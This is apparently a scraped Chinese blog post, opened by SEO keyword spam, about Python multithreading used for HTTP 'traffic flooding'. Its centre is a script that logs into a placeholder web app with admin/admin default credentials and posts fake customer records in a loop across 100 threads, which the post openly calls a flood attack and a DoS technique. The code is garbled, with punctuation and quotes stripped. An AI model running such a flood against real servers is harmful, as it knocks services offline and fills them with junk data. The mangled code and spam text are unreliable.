php可以做移动端网站,软件程序员,网站文章模板,seon是什么意思多线程与流量泛洪 并发操作 如果一个单核的cpu#xff0c;是并不存在严格意义的并发#xff0c;只是因为处理时间极短#xff0c;所以感觉上是并发操作的。
针对多核CPU#xff0c;4核CPU#xff0c;严格意义上的并发处理是4个 线程和进程 每一个应用程序#xff0c;至少…多线程与流量泛洪 并发操作 如果一个单核的cpu是并不存在严格意义的并发只是因为处理时间极短所以感觉上是并发操作的。
针对多核CPU4核CPU严格意义上的并发处理是4个 线程和进程 每一个应用程序至少会有一个进程并且拥有PID进程ID和独立的内存空间。每一个进程至少拥有一个线程而线程并没有独立的内存空间。 泛红初体验之thread.py import threading
import time,random
# 单线程情况下下述代码执行或消耗5秒钟的时间
def test_01():print(threading.currentThread().getName()) # 输出当前线程的名字for i in range(5):print(time.strftime(%Y-%m-%d %H:%M:%S))time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():print(threading.currentThread().getName())print(time.strftime(%Y-%m-%d %H:%M:%S))time.sleep(1)sessionrequests.session()
def home():urlxx.xx.xxrespsession.get(url)if xxxxxxxxx in resp.text:print(首页访问成功)else:print(首页访问失败)
def login():data{username:admin,password:admin,verifycode:0000}respsession.post(urlurl,datadata)if resp.testlogin-pass:print(登陆成功)else:print(登陆失败)def add():data{customername:未知,customerphone:f13{random.randint(30000000,999999999)},childsex:男,childdate:2021-10-15,creditkids:0,creditcloth:0}respsession.post(f{url}/xxxx/customer/add,datadata)if resp.textadd-successful:print(新增会员成功)else:print(新增会员失败)
# 基于HTTP协议进行流量的泛洪压力测试性能测试
# 使用多线程模拟流量泛红Flow Flood 攻击xxx.xxx.xxx
def xxxxsales_flood():for i in range(1000):try:home()login()add()except:passif __name____main__:# test_01() # 当python执行时虽然没有手工启动线程默认Python会启动一个主线程# 并发启动5个线程#for i in range(5):# 实例化一个线程,target表示是哪个方法将那个方法传过去注意没有圆括号有圆括号就是调用了若目标函数有参数在后面跟上args()以元组的方式传过去即可# 或者这样描述实例化一个线程并且指定调用test_02函数#tthreading.Thread(targettest_02)# 启动线程#t.start()#test_02()for i in range(100):threading.Thread(targetwxxxxales_flood).startDOS攻击的核心 利用常规技术或特殊技术想办法消耗掉目标服务器的资源CPU、内存、硬盘带宽连接数等使其无法正常提供对外服务
小知识点 装饰器 可以用于收集其响应时间
def performance(func):def inner():starttime.time()func()endtime.time()print(f请求{func.__name__}的响应时间为{end-start})return inner
performance
def home():urlxx.xx.xxrespsession.get(url)if xxxxxxxxx in resp.text:print(首页访问成功)else:print(首页访问失败)